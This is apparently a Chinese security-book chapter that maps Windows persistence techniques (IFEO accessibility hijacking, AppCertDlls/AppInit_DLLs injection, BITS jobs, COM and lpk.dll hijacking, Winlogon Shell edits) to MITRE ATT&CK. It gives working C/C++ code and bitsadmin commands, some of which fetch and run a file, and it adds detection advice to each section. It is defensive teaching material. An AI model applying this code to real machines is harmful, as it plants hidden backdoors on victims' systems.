谓，道高一尺魔高一丈，巨大的利益驱使着个人或组织利用技术进行不法行为，花样层出不穷，令人

防不胜防。

为了更好的应对这些攻击手段，就需要做到了解对手。俗话说：知己知彼，方能百战不殆。MITRE

ATT&CK就提供了全球范围的黑客的攻击手段和技术知识点，并把 APT组织或恶意工具使用到的攻

击手段一一对应，便于从根源上解决问题。许多公司和政府部门都会从中提取信息，针对遇到的威胁

建立安全体系或模型。我们作为安全从业人员，如果能够掌握MITRE ATT&CK如此庞大的知识体系，

对以后的工作和对抗来说，就像是拥有了一个武器库，所向披靡。

当然，这么一个庞大的体系是不可能一蹴而就的。我们可以依照MITRE ATT&CK的框架，先从持

久化这一点开始。本文的主要内容是介绍 APT攻击者在Windows系统下持久运行恶意代码的常用手

段，其中的原理是什么，是怎样实现的，我们应该从哪些方面预防和检测。希望对大家有所帮助！

本文测试环境：

测试系统：Windows 7

编译器：Visual Stuidio 2008

以下是本文按照 MITRE ATTACK框架介绍的例子和其对应的介绍，我们深入分析了实现的原理，

并且通过原理开发了相应的利用工具进行测试，测试呈现出的效果也都在下文一一展现。

标题 简介

权

限 链接

辅助功能镜像劫

持

在注册表中创建一个辅助功能的注

册表项，并根据镜像劫持的原理添

加键值，实现系统在未登录状态

下，通过快捷键运行自己的程序。

管

理

员

https://attack.mitre.org/techniques/T1015/

https://attack.mitre.org/techniques/T1183/

进程注入之

AppCertDlls注册

表项

编写了一个 dll，创建一个

AppCertDlls注册表项，在默认键

值中添加 dll的路径，实现了对使

用特定 API进程的注入。

管

理

员

https://attack.mitre.org/techniques/T1182/
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标题 简介

权

限 链接

进程注入之

AppInit_DLLs注

册表项

在某个注册表项中修改

AppInit_DLLs和

LoadAppInit_DLLs键值，实现对

加载 user32.dll进程的注入。

管

理

员

https://attack.mitre.org/techniques/T1103/

BITS的灵活应用 通过 bitsadmin命令加入传输任务，

利用 BITS的特性，实现每次重启

都会执行自己的程序。

用

户

https://attack.mitre.org/techniques/T1197/

Com组件劫持 编写了一个 dll，放入特定的路径，

在注册表项中修改默认和

ThreadingModel键值，实现打开计

算器就会运行程序。

用

户

https://attack.mitre.org/techniques/T1122/

DLL劫持 编写了一个 lpk.dll，根据Windows

的搜索模式放在指定目录中，修改

注册表项，实现了开机启动执行

dll。

用

户

https://attack.mitre.org/techniques/T1038/

Winlogon helper 编写了一个 dll，里面有一个导出

函数，修改注册表项，实现用户登

录时执行导出函数。

管

理

员

https://attack.mitre.org/techniques/T1004/

篡改服务进程 编写一个服务进程，修改服务的注

册表项，实现了开机启动自己的服

务进程。

管

理

员

https://attack.mitre.org/techniques/T1031/

替换屏幕保护程

序

修改注册表项，写入程序路径，实

现在触发屏保程序运行时我们的程

序被执行

用

户

https://attack.mitre.org/techniques/T1180/

创建新服务 编写具有添加服务和修改注册表功

能的程序以及有一定格式的 dll，

实现服务在后台稳定运行。

管

理

员

https://attack.mitre.org/techniques/T1050/

启动项 根据 Startup目录和注册表 Run键，

创建快捷方式和修改注册表，实现

开机自启动

用

户

https://attack.mitre.org/techniques/T1060/

WMI事件过滤 用WMIC工具注册WMI事件，实

现开机 120秒后触发设定的命令

管

理

员

https://attack.mitre.org/techniques/T1084/
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标题 简介

权

限 链接

Netsh Helper DLL 编写了一个 netsh helper dll，通过

netsh命令加入了 helper列表，并

将 netsh加入了计划任务，实现开

机执行 DLL

管

理

员

https://attack.mitre.org/techniques/T1128/

22.2 辅助功能镜像劫持

22.2.1 代码及原理介绍

为了使电脑更易于使用和访问，Windows添加了一些辅助功能。这些功能可以在用户登录之前以组合

键启动。根据这个特征，一些恶意软件无需登录到系统，通过远程桌面协议就可以执行恶意代码。

一些常见的辅助功能如：

C:\Windows\System32\sethc.exe粘滞键快捷键：按五次 shift键

C:\Windows\System32\utilman.exe设置中心快捷键：Windows+U键

下图就是在未登陆时弹出的设置中心

在较早的Windows版本，只需要进行简单的二进制文件替换，比如，程序” C:\Windows\System32\utilman.exe’’

可以替换为 “cmd.exe’’。

对于在Windows Vista和Windows Server 2008及更高的版本中，替换的二进制文件受到了系统的

保护，因此这里就需要另一项技术：映像劫持。

映像劫持，也被称为 “IFEO’’（Image File Execution Options）。当目标程序被映像劫持时，双击目标

程序，系统会转而运行劫持程序，并不会运行目标程序。许多病毒会利用这一点来抑制杀毒软件的运

行，并运行自己的程序。

造成映像劫持的罪魁祸首就是参数 “Debugger’’，它是 IFEO里第一个被处理的参数，系统如果发

现某个程序文件在 IFEO列表中，它就会首先来读取 Debugger参数，如果该参数不为空，系统则会把

Debugger参数里指定的程序文件名作为用户试图启动的程序执行请求来处理，而仅仅把用户试图启动

的程序作为 Debugger参数里指定的程序文件名的参数发送过去。

参数 “Debugger’’本来是为了让程序员能够通过双击程序文件直接进入调试器里调试自己的程序。

现在却成了病毒的攻击手段。

简单操作就是修改注册表，在 “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image

File Execution Option’’中添加 utilman.exe项，在此项中添加 debugger键，键值为要启动的程序路径。

实现代码：

HKEY hKey;

const char path[] = “C:\hello.exe”;
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Figure 22.1: img

RegCreateKeyExA(HKEY_LOCAL_MACHINE,”Software\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\Utilman.exe”, 0,NULL, 0, KEY_WRITE, NULL, &hKey,&dwDisposition);

RegSetValueExA(hKey, “Debugger”, 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)))

当然，我们自己的程序要放到相应的路径，关于资源文件的释放，下文会提到，这里暂且按下不讲。

22.2.2 运行效果图

当重新回到登录界面，按下快捷键时，结果如图：

注册表键值情况如下图：

22.2.3 检查及清除方法

检查 “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execu-

tion Option’’注册表路径中的程序名称

其它适用于的辅助功能还有：

屏幕键盘：C:\Windows\System32\osk.exe

放大镜：C:\Windows\System32\Magnify.exe

旁白：C:\Windows\System32\Narrator.exe

显示开关：C:\Windows\System32\DisplaySwitch.exe
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Figure 22.2: img

Figure 22.3: img
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应用程序开关：C:\Windows\System32\AtBroker.exe

现在大部分的杀毒软件都会监视注册表项来防御这种恶意行为。

22.3 进程注入之 AppCertDlls注册表项

22.3.1 代码及原理介绍

如果有进程使用了 CreateProcess、CreateProcessAsUser、CreateProcessWithLoginW、CreateProcessWithTo-

kenW或WinExec函数，那么此进程会获取HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\AppCertDlls

注册表项，此项下的 dll都会加载到此进程。

Win7版本下没有 “AppCertDlls’’项，需自己创建。

代码如下：

HKEY hKey;

const char path[] = “C:\dll.dll”;

RegCreateKeyExA(HKEY_LOCAL_MACHINE,”SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDlls”, 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);

RegSetValueExA(hKey, “Default”, 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));

Dll 代码：

BOOL TestMutex()

{

HANDLE hMutex = CreateMutexA(NULL, false, “myself”);

if (GetLastError() == ERROR_ALREADY_EXISTS)

{

CloseHandle(hMutex);

return 0;

}
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return 1;

}

BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)

{

switch (ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:

if (TestMutex() == 0)

return TRUE;

MessageBoxA(0,”hello topsec”,”AppCert”,0);

case DLL_THREAD_ATTACH:

case DLL_THREAD_DETACH:

case DLL_PROCESS_DETACH:

break;

}

return TRUE;

}
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Figure 22.4: img

22.3.2 运行效果图

修改完注册表之后，写个测试小程序，用 CreateProcess打开 notepad.exe

可以看到 test.exe中已经加载 dll.dll，并弹出 “hello topsec’’。也能发现，在 svchost.exe和 taskeng.exe

中也加载了 dll.dll。

22.3.3 检查及清除方法

1. 监测 dll的加载，特别是查找不是通常的 dll，或者不是正常加载的 dll。

2. 监视 AppCertDLL注册表值

3. 监视和分析注册表编辑的 API调用，如 RegCreateKeyEx和 RegSetValueEx。

22.4 进程注入之 AppInit_DLLs注册表项

22.4.1 代码及原理介绍

User32.dll被加载到进程时，会获取 AppInit_DLLs注册表项，若有值，则调用 LoadLibrary() API加载

用户 DLL。只会影响加载了 user32.dll的进程。

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Window\Appinit_Dlls

代码如下：

HKEY hKey;

DWORD dwDisposition;
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Figure 22.5: img

const char path[] = “C:\AppInit.dll”;

DWORD dwData = 1;

RegCreateKeyExA(HKEY_LOCAL_MACHINE,”SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows”, 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);

RegSetValueExA(hKey, “AppInit_DLLs”, 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));

RegSetValueExA(hKey, “LoadAppInit_DLLs”, 0, REG_DWORD, (BYTE*)& dwData, sizeof(DWORD));

22.4.2 运行效果图

修改过后如下图所示：

运行 cmd.exe，就会发现 cmd.exe已经加载指定 dll，并弹框。

此注册表项下的每个库都会加载到每个加载 User32.dll的进程中。User32.dll是一个非常常见的库，

用于存储对话框等图形元素。恶意软件可以在 Appinit_Dlls注册表项下插入其恶意库的位置，以使另

一个进程加载其库。因此，当恶意软件修改此子键时，大多数进程将加载恶意库。

22.4.3 检查及清除方法

1. 监测加载 User32.dll的进程的 dll的加载，特别是查找不是通常的 dll，或者不是正常加载的 dll。

2. 监视 AppInit_DLLs注册表值。

3. 监视和分析注册表编辑的 API调用，如 RegCreateKeyEx和 RegSetValueEx。
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Figure 22.6: img

Figure 22.7: img
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22.5 BITS的灵活应用

22.5.1 代码及原理介绍

BITS，后台智能传输服务，是一个Windows组件，它可以利用空闲的带宽在前台或后台异步传输文

件，例如，当应用程序使用 80%的可用带宽时，BITS将只使用剩下的 20%。不影响其他网络应用程

序的传输速度，并支持在重新启动计算机或重新建立网络连接之后自动恢复文件传输。

通常来说，BITS会代表请求的应用程序异步完成传输，即应用程序请求 BITS服务进行传输后，可

以自由地去执行其他任务，乃至终止。只要网络已连接并且任务所有者已登录，则传输就会在后台进

行。当任务所有者未登录时，BITS任务不会进行。

BITS采用队列管理文件传输。一个 BITS会话是由一个应用程序创建一个任务而开始。一个任务

就是一份容器，它有一个或多个要传输的文件。新创建的任务是空的，需要指定来源与目标 URI来添

加文件。下载任务可以包含任意多的文件，而上传任务中只能有一个文件。可以为各个文件设置属性。

任务将继承创建它的应用程序的安全上下文。BITS提供 API接口来控制任务。通过编程可以来启动、

停止、暂停、继续任务以及查询状态。在启动一个任务前，必须先设置它相对于传输队列中其他任务

的优先级。默认情况下，所有任务均为正常优先级，而任务可以被设置为高、低或前台优先级。BITS

将优化后台传输被，根据可用的空闲网络带宽来增加或减少（抑制）传输速率。如果一个网络应用程

序开始耗用更多带宽，BITS将限制其传输速率以保证用户的交互式体验，但前台优先级的任务除外。

BITS的调度采用分配给每个任务有限时间片的机制，一个任务被暂停时，另一个任务才有机会获

得传输时机。较高优先级的任务将获得较多的时间片。BITS采用循环制处理相同优先级的任务，并防

止大的传输任务阻塞小的传输任务。

常用于Windows Update的安装更新。

BITSAdmin，BITS管理工具，是管理 BITS任务的命令行工具。

常用命令：

列出所有任务：bitsadmin /list /allusers /verbose

删除某个任务：bitsadmin /cancel

删除所有任务：bitsadmin /reset /allusers

完成任务：bitsadmin /complete

完整配置任务命令如下：

bitsadmin /create TopSecbitsadmin /addfile TopSec https://gss3.bdstatic.com/7Po3dSag_xI4khGkpoWK1HF6hhy/baike/w%3D268%3Bg%3D0/sign=860ac8bc858ba61edfeecf29790ff037/b3fb43166d224f4a179bbd650ef790529822d142.jpg C:\TopSec.jpgbitsadmin.exe /SetNotifyCmdLine TopSec “%COMSPEC%” “cmd.exe /c bitsadmin.exe /complete \”TopSec\” && start /B C:\TopSec.jpg”bitsadmin /Resume TopSec

下载图片到指定文件夹，完成后直接打开图片。

如果图片可以打开，那么就说明可以打开任意二进制程序。而 BITS又有可以中断后继续工作的特

性，所以下面就是解决在系统重新启动后仍能自动运行的操作。

现在将完成参数 “complete’’去掉，为了节省时间，将下载的远程服务器文件换成本地文件。代码

如下：
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void BitsJob()

{

char szSaveName[MAX_PATH] = “C:\bitshello.exe”;

if (FALSE == m_Bits)

{

// 释放资源

BOOL bRet = FreeMyResource(IDR_MYRES22, “MYRES2, szSaveName);

WinExec(“bitsadmin /create TopSec”, 0);

WinExec(“bitsadmin /addfile TopSec \”C:\Windows\system32\cmd.exe\” \”C:\cmd.exe\”", 0);

WinExec(“bitsadmin.exe /SetNotifyCmdLine TopSec \”C:\Windows\system32\cmd.exe\” \”cmd.exe /c C:\bitshello.exe\”", 0);

WinExec(“bitsadmin /Resume TopSec”, 0);

m_Bits = TRUE;

}

else

{

WinExec(“bitsadmin /complete TopSec”, 0);

remove(szSaveName);

m_Bits = FALSE;

404



政企安全 ATT&CK之后门持久化

Figure 22.8: img

}

UpdateData(FALSE);

}

解除未完成状态，需要命令 “bitsadmin /complete TopSec’’。

22.5.2 运行效果图

运行之后，拷贝到 C盘的 cmd.exe没有出现，却依然弹出对话框。

查看 BITS任务列表，发现任务依然存在

重启计算机，发现弹出对话框，BITS任务依然存在。

执行命令 “bitsadmin /complete TopSec’’，出现拷贝到 C盘的程序 cmd.exe,任务完成。

22.5.3 检查及清除方法

BITS服务的运行状态可以使用 SC查询程序来监视（命令：sc query bits），任务列表由 BITSAdmin来

查询。

监控和分析由 BITS生成的网络活动。
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Figure 22.9: img

Figure 22.10: img
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Figure 22.11: img

22.6 Com组件劫持

22.6.1 代码及原理介绍

COM是 Component Object Model（组件对象模型）的缩写，COM组件由 DLL和 EXE形式发布的可执

行代码所组成。每个 COM组件都有一个 CLSID，这个 CLSID是注册的时候写进注册表的，可以把这

个 CLSID理解为这个组件最终可以实例化的子类的一个 ID。这样就可以通过查询注册表中的 CLSID

来找到 COM组件所在的 dll的名称。

所以要想 COM 劫持，必须精心挑选 CLSID，尽量选择应用范围广的 CLSID。这里，我们选择

的 CLSID为：{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}，来实现对 CAccPropServicesClass和 MMDe-

viceEnumerator的劫持。系统很多正常程序启动时需要调用这两个实例。例如计算器。

Dll存放的位置：//%APPDATA%Microsoft/Installer/{BCDE0395-E52F-467C-8E3D-C4579291692E}

接下来就是修改注册表，在指定路径添加文件，具体代码如下：

void CPersistenceDlg::comHijacking()

{

HKEY hKey;

DWORD dwDisposition;
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//%APPDATA%Microsoft/Installer/{BCDE0395-E52F-467C-8E3D-C45792916//92E}

char system1[] = “C:\Users\TopSec\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\TopSec.dll”;

char system2[] = “Apartment”;

string defaultPath = “C:\Users\TopSec\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}”;

string szSaveName = “C:\Users\TopSec\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\TopSec.dll”;

if (FALSE == m_Com)

{

//string folderPath = defaultPath + “\testFolder”;

string command;

command = “mkdir -p ” + defaultPath;

system(command.c_str());

// 释放资源

BOOL bRet = FreeMyResource(IDR_MYRES23, “MYRES2, system1);

if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER,

“Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32, 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))

{

ShowError(“RegCreateKeyExA”);

return;
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}

if (ERROR_SUCCESS != RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)system1, (1 + ::lstrlenA(system1))))

{

ShowError(“RegSetValueEx”);

return;

}

if (ERROR_SUCCESS != RegSetValueExA(hKey, “ThreadingModel”, 0, REG_SZ, (BYTE*)system2, (1 + ::lstrlenA(system2))))

{

ShowError(“RegSetValueEx”);

return;

}

::MessageBoxA(NULL, “comHijacking OK!”, “OK”, MB_OK);

m_Com = TRUE;

}

else

{

if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER,

“Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32, 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))
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{

ShowError(“RegCreateKeyExA”);

return;

}

if (ERROR_SUCCESS != RegDeleteValueA(hKey, NULL))

{

ShowError(“RegDeleteValueA”);

return;

}

if (ERROR_SUCCESS != RegDeleteValueA(hKey, “ThreadingModel”))

{

ShowError(“RegDeleteValueA”);

return;

}

remove(szSaveName.c_str());

remove(defaultPath.c_str());

::MessageBoxA(NULL, “Delete comHijacking OK!”, “OK”, MB_OK);

m_Com = FALSE;
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Figure 22.12: img

Figure 22.13: img

}

UpdateData(FALSE);

}

22.6.2 运行效果图

运行后，文件和注册表如下：

运行计算器，弹出对话框：
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22.6.3 检查及清除方法

由于 COM对象是操作系统和已安装软件的合法部分，因此直接阻止对 COM对象的更改可能会对正

常的功能产生副作用。相比之下，使用白名单识别潜在的病毒会更有效。

现有 COM对象的注册表项可能很少发生更改。当具有已知路径和二进制的条目被替换或更改为

异常值以指向新位置中的未知二进制时，它可能是可疑的行为，应该进行调查。同样，如果收集和分

析程序 DLL加载，任何与 COM对象注册表修改相关的异常 DLL加载都可能表明已执行 COM劫持。

22.7 DLL劫持

22.7.1 代码及原理介绍

众所周知，Windows有资源共享机制，当对象想要访问此共享功能时，它会将适当的 DLL加载到其内

存空间中。但是，这些可执行文件并不总是知道 DLL在文件系统中的确切位置。为了解决这个问题，

Windows实现了不同目录的搜索顺序，其中可以找到这些 DLL。

系统使用 DLL搜索顺序取决于是否启用安全 DLL搜索模式。

WindowsXP默认情况下禁用安全 DLL搜索模式。之后默认启用安全 DLL搜索模式

若要使用此功能，需创建 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Man-

ager\SafeDllSearchMode注册表值，0为禁止，1为启用。

SafeDLLSearchMode启用后，搜索顺序如下：

1. 从其中加载应用程序的目录、

2. 系统目录。使用 GetSystemDirectory函数获取此目录的路径。

3. 16位系统目录。没有获取此目录的路径的函数，但会搜索它。

4. Windows目录。使用 GetWindowsDirectory函数获取此目录。

5. 当前目录。

6. PATH环境变量中列出的目录。

SafeDLLSearchMode禁用后，搜索顺序如下：

1. 从其中加载应用程序的目录

2. 当前目录

3. 系统目录。使用 GetSystemDirectory函数获取此目录的路径。

4. 16位系统目录。没有获取此目录的路径的函数，但会搜索它。

5. Windows目录。使用 GetWindowsDirectory函数获取此目录。

6. PATH环境变量中列出的目录。

DLL劫持利用搜索顺序来加载恶意 DLL以代替合法 DLL。如果应用程序使用Windows的 DLL搜

索来查找 DLL，且攻击者可以将同名 DLL的顺序置于比合法 DLL更高的位置，则应用程序将加载恶

意 DLL。

可以用来劫持系统程序，也可以劫持用户程序。劫持系统程序具有兼容性，劫持用户程序则有针

对性。结合本文的主题，这里选择劫持系统程序。
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Figure 22.14: img

可以劫持的 dll有：

lpk.dll、usp10.dll、msimg32.dll、midimap.dll、ksuser.dll、comres.dll、ddraw.dll

以 lpk.dll为列，explorer桌面程序的启动需要加载 lpk.dll，当进入桌面后 lpk.dll便被加载了，劫持

lpk.dll之后，每次启动系统，自己的 lpk.dll都会被加载，实现了持久化攻击的效果。

下面就是要构建一个 lpk.dll：

1. 将系统下的 lpk.dll导入 IDA，查看导出表的函数

1. 构造一个和 lpk.dll一样的导出表

2. 加载系统目录下的 lpk.DLL；

3. 将导出函数转发到系统目录下的 LPK.DLL上

4. 在初始化函数中加入我们要执行的代码。

具体 dll代码如下：

#include “pch.h”

#include <windows.h>

#include <process.h>

// 导出函数

#pragma comment(linker, “/EXPORT:LpkInitialize=_AheadLib_LpkInitialize,@1)

413



政企安全 ATT&CK之后门持久化

#pragma comment(linker, “/EXPORT:LpkTabbedTextOut=_AheadLib_LpkTabbedTextOut,@2)

#pragma comment(linker, “/EXPORT:LpkDllInitialize=_AheadLib_LpkDllInitialize,@3)

#pragma comment(linker, “/EXPORT:LpkDrawTextEx=_AheadLib_LpkDrawTextEx,@4)

#pragma comment(linker, “/EXPORT:LpkExtTextOut=_AheadLib_LpkExtTextOut,@6)

#pragma comment(linker, “/EXPORT:LpkGetCharacterPlacement=_AheadLib_LpkGetCharacterPlacement,@7)

#pragma comment(linker, “/EXPORT:LpkGetTextExtentExPoint=_AheadLib_LpkGetTextExtentExPoint,@8)

#pragma comment(linker, “/EXPORT:LpkPSMTextOut=_AheadLib_LpkPSMTextOut,@9)

#pragma comment(linker, “/EXPORT:LpkUseGDIWidthCache=_AheadLib_LpkUseGDIWidthCache,@10)

#pragma comment(linker, “/EXPORT:ftsWordBreak=_AheadLib_ftsWordBreak,@11)

// 宏定义

#define EXTERNC extern “C”

#define NAKED __declspec(naked)

#define EXPORT __declspec(dllexport)

#define ALCPP EXPORT NAKED

#define ALSTD EXTERNC EXPORT NAKED void __stdcall

#define ALCFAST EXTERNC EXPORT NAKED void __fastcall

#define ALCDECL EXTERNC NAKED void __cdecl
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//LpkEditControl 导出的是数组，不是单一的函数（by Backer）

EXTERNC void __cdecl AheadLib_LpkEditControl(void);

EXTERNC __declspec(dllexport) void (*LpkEditControl[14])() = { AheadLib_LpkEditControl };

//添加全局变量

BOOL g_bInited = FALSE;

// AheadLib 命名空间

namespace AheadLib

{

HMODULE m_hModule = NULL; // 原始模块句柄

// 加载原始模块

BOOL WINAPI Load()

{

TCHAR tzPath[MAX_PATH];

TCHAR tzTemp[MAX_PATH * 2];

GetSystemDirectory(tzPath, MAX_PATH);

lstrcat(tzPath, TEXT(“\lpk.dll”));
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OutputDebugString(tzPath);

m_hModule = LoadLibrary(tzPath);

if (m_hModule == NULL)

{

wsprintf(tzTemp, TEXT(“无法加载 %s，程序无法正常运行。”), tzPath);

MessageBox(NULL, tzTemp, TEXT(“AheadLib”), MB_ICONSTOP);

};

return (m_hModule != NULL);

}

// 释放原始模块

VOID WINAPI Free()

{

if (m_hModule)

{

FreeLibrary(m_hModule);

}
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}

// 获取原始函数地址

FARPROC WINAPI GetAddress(PCSTR pszProcName)

{

FARPROC fpAddress;

CHAR szProcName[16];

TCHAR tzTemp[MAX_PATH];

fpAddress = GetProcAddress(m_hModule, pszProcName);

if (fpAddress == NULL)

{

if (HIWORD(pszProcName) == 0)

{

wsprintfA(szProcName, “%p”, pszProcName);

pszProcName = szProcName;

}
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wsprintf(tzTemp, TEXT(“无法找到函数 %hs，程序无法正常运行。”), pszProcName);

MessageBox(NULL, tzTemp, TEXT(“AheadLib”), MB_ICONSTOP);

ExitProcess(-2);

}

return fpAddress;

}

}

using namespace AheadLib;

//函数声明

void WINAPIV Init(LPVOID pParam);

void WINAPIV Init(LPVOID pParam)

{

MessageBoxA(0, “Hello Topsec”, “Hello Topsec”, 0);//在这里添加 DLL 加载代码

return;

}

// 入口函数

BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
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{

if (dwReason == DLL_PROCESS_ATTACH)

{

DisableThreadLibraryCalls(hModule);

if (g_bInited == FALSE) {

Load();

g_bInited = TRUE;

}

//LpkEditControl 这个数组有 14 个成员，必须将其复制过来

memcpy((LPVOID)(LpkEditControl + 1), (LPVOID)((int*)GetAddress(“LpkEditControl”) + 1), 52);

_beginthread(Init, NULL, NULL);

}

else if (dwReason == DLL_PROCESS_DETACH)

{

Free();

}
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return TRUE;

}

// 导出函数

ALCDECL AheadLib_LpkInitialize(void)

{

if (g_bInited == FALSE) {

Load();

g_bInited = TRUE;

}

GetAddress(“LpkInitialize”);

__asm JMP EAX;

}

// 导出函数

ALCDECL AheadLib_LpkTabbedTextOut(void)

{

GetAddress(“LpkTabbedTextOut”);

__asm JMP EAX;

}
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// 导出函数

ALCDECL AheadLib_LpkDllInitialize(void)

{

GetAddress(“LpkDllInitialize”);

__asm JMP EAX;

}

// 导出函数

ALCDECL AheadLib_LpkDrawTextEx(void)

{

GetAddress(“LpkDrawTextEx”);

__asm JMP EAX;

}

// 导出函数

ALCDECL AheadLib_LpkEditControl(void)

{

GetAddress(“LpkEditControl”);
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__asm jmp DWORD ptr[EAX];//这里的 LpkEditControl 是数组，eax 存的是函数指针

}

// 导出函数

ALCDECL AheadLib_LpkExtTextOut(void)

{

GetAddress(“LpkExtTextOut”);

__asm JMP EAX;

}

// 导出函数

ALCDECL AheadLib_LpkGetCharacterPlacement(void)

{

GetAddress(“LpkGetCharacterPlacement”);

__asm JMP EAX;

}
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// 导出函数

ALCDECL AheadLib_LpkGetTextExtentExPoint(void)

{

GetAddress(“LpkGetTextExtentExPoint”);

__asm JMP EAX;

}

// 导出函数

ALCDECL AheadLib_LpkPSMTextOut(void)

{

GetAddress(“LpkPSMTextOut”);

__asm JMP EAX;

}
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// 导出函数

ALCDECL AheadLib_LpkUseGDIWidthCache(void)

{

GetAddress(“LpkUseGDIWidthCache”);

__asm JMP EAX;

}

// 导出函数

ALCDECL AheadLib_ftsWordBreak(void)

{

GetAddress(“ftsWordBreak”);

__asm JMP EAX;

}

最后修改注册表键值 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager

ExcludeFromKnownDlls，把 lpk.dll加进去。
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Figure 22.15: img

HKEY hKey;

DWORD dwDisposition;

const char path[] = “lpk.dll”;

RegCreateKeyExA(HKEY_LOCAL_MACHINE,” System \ CurrentControlSet \ Control\ SessionManager “, 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition));

RegSetValueExA(hKey, NULL, 0, REG_MULTI_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));

22.7.2 运行效果图

将生成的 lpk.dll放到 c:/Windows目录

重启系统，自动弹出对话框

查找 explorer，加载的正是我们的 lpk.dll

注册表修改如下

425



政企安全 ATT&CK之后门持久化

Figure 22.16: img

Figure 22.17: img

426



政企安全 ATT&CK之后门持久化

Figure 22.18: img

Figure 22.19: img

22.7.3 检查及清除方法

启用安全DLL搜索模式，与此相关的Windows注册表键位于HKLM\SYSTEM\CurrentControlSet\Control\Session

Manager\SafeDLLSearchMode

监视加载到进程中的 DLL，并检测具有相同文件名但路径异常的 DLL。

22.8 winlogon helper

22.8.1 原理及代码介绍

Winlogon.exe进程是Windows操作系统中非常重要的一部分，Winlogon用于执行与Windows登录过

程相关的各种关键任务，例如，当在用户登录时，Winlogon进程负责将用户配置文件加载到注册表中。
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Winlogon进程会 HOOK系统函数监控键盘是否按下 Ctrl + Alt + Delete，这被称为 “Secure Attention

Sequence’’，这就是为什么一些系统会配置为要求您在登录前按 Ctrl + Alt + Delete。这种键盘快捷键的

组合被Winlogon.exe捕获，确保您安全登录桌面，其他程序无法监控您正在键入的密码或模拟登录对

话框。Windows登录应用程序还会捕获用户的键盘和鼠标活动，在一段时间未发现键盘和鼠标活动时

启动屏幕保护程序。

总之，Winlogon是登录过程的关键部分，需要持续在后台运行。如果您有兴趣，Microsoft还提供

Winlogon进程的更详细的技术说明，在此不再赘述。

在注册表项HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\和HKCU\Software\Microsoft\Windows

NT\CurrentVersion\Winlogon\用于管理支持Winlogon的帮助程序和扩展功能，对这些注册表项的恶意

修改可能导致Winlogon加载和执行恶意 DLL或可执行文件。已知以下子项可能容易被恶意代码所利

用：

Winlogon\Notify –指向处理Winlogon事件的通知包 DLL

Winlogon\Userinit –指向 userinit.exe，即用户登录时执行的用户初始化程序

Winlogon\Shell –指向 explorer.exe，即用户登录时执行的系统 shell

攻击者可以利用这些功能重复执行恶意代码建立持久后门，如下的代码演示了如何通过在

Winlogon\Shell子键添加恶意程序路径实现驻留系统的目的。

BOOL add_winlogon_helper()

{

BOOL ret = FALSE;

LONG rcode = NULL;

DWORD key_value_type;

BYTE shell_value_buffer[MAX_PATH * 2];

DWORD value_buffer_size = sizeof(shell_value_buffer) ;

HKEY winlogon_key = NULL;

DWORD set_value_size;

BYTE path[MAX_PATH];
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rcode = RegOpenKeyEx(HKEY_CURRENT_USER, _TEXT(“Software\Microsoft\Windows NT\CurrentVersion\Winlogon”),

NULL, KEY_ALL_ACCESS, &winlogon_key);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

rcode = RegQueryValueEx(winlogon_key,_TEXT(“shell”), NULL, &key_value_type, shell_value_buffer, &value_buffer_size);

if (rcode != ERROR_SUCCESS)

{

//找不到指定的键值

if (rcode == 0Œ2)

{

//写入 explorer.exe 和 自定义的路径

lstrcpy((TCHAR*)path, _TEXT(“explorer.exe, rundll32.exe \”C:\topsec.dll\” RunProc”));

set_value_size = lstrlen((TCHAR*)path) * sizeof(TCHAR) + sizeof(TCHAR);

rcode = RegSetValueEx(winlogon_key, _TEXT(“shell”), NULL, REG_SZ, path, set_value_size);

if (rcode != ERROR_SUCCESS)
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{

goto ERROR_EXIT;

}

}

else

{

goto ERROR_EXIT;

}

}

else

{

//原先已存在，追加写入

lstrcat((TCHAR*)shell_value_buffer, _TEXT(“,rundll32.exe \”C:\topsec.dll\” RunProc”));

set_value_size = lstrlen((TCHAR*)shell_value_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

rcode = RegSetValueEx(winlogon_key, _TEXT(“shell”), NULL, REG_SZ, shell_value_buffer, set_value_size);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;
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}

}

ret = TRUE;

ERROR_EXIT:

if (winlogon_key != NULL)

{

RegCloseKey(winlogon_key);

winlogon_key = NULL;

}

return ret;

}

其中 topsec.dll 的导出函数 RunProc 代码如下：

extern “C” __declspec(dllexport) void RunProc(HWND hwnd,HINSTANCE hinst, LPTSTR lpCmdLine,int nCmdShow)

{

while (TRUE)

{

